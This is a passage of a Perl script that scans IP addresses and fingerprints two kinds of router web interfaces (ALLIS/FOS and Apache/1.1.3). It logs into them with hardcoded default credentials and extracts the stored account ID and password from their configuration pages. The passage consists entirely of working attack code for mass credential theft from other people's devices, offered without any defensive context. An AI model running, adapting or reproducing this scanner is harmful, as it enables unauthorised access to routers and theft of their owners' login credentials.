02/01/12 00:31
waitpid(shift(@pida),1) while ($#pida >= 0);sleep 1;print STDERR "\n";
sub ip {$ipstr="$ip[0].$ip[1].$ip[2].$ip[3]";
$addr=pack('CCCC',$ip[0],$ip[1],$ip[2],$ip[3]);
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);
unless (connect(S,$that)) {
print STDERR "$ipstr...refused \r";return;}
$fh=select(S);$|=1;select($fh);
print S "GET / HTTP/1.0\r\n\r\n";
while (<S>) {
$server=$1 if (/^Server: ([^\r\n]*)/);
$au=$1 if (/^WWW-Authenticate: Basic realm="(\w*)"/);}
close(S);
unless (($server=~/^ALLIS\/FOS/ && $au eq 'user')
|| ($server=~/^Apache\/1\.1\.3$/ && $au eq 'Config')) {
print "$ipstr...failed1 ($server)\n";return;}
$this=pack('S n a4 x8',2,0,"\0\0\0\0");
$that=pack('S n a4 x8',2,80,$addr);
socket(S,2,1,6); bind(S,$this);connect(S,$that)||return;
$fh=select(S);$|=1;select($fh);
&atur if ($server=~/^ALLIS\/FOS/);
&mega if ($server=~/^Apache\/1\.1\.3$/);
if ($suc==2) {print "$ipstr...ID: $id, Password: $pass ($server)\n";}
else {print "$ipstr...failed2 ($server)\n";}
}
sub atur {print S "GET /easy HTTP/1.0\r\nAuthorization: Basic Y29uZmlnOg==\r\n\r\n";
while (<S>) {
if (/NAME="PA_LOG"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="PA_PS"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub mega {print S "GET /cgi-bin/Basicset.cgi?basic_num=1&reloadmenu=1 HTTP/1.0\r\nAuthorization: Basic cm9vdDpyb290\r\n\r\n";
while (<S>) {
if (/NAME="send_id"/) {/VALUE="([^"]+)"/;$id=$1;$suc++;}
if (/NAME="send_passwd"/) {/VALUE="([^"]+)"/;$pass=$1;$suc++;}}}
sub kill {exit;}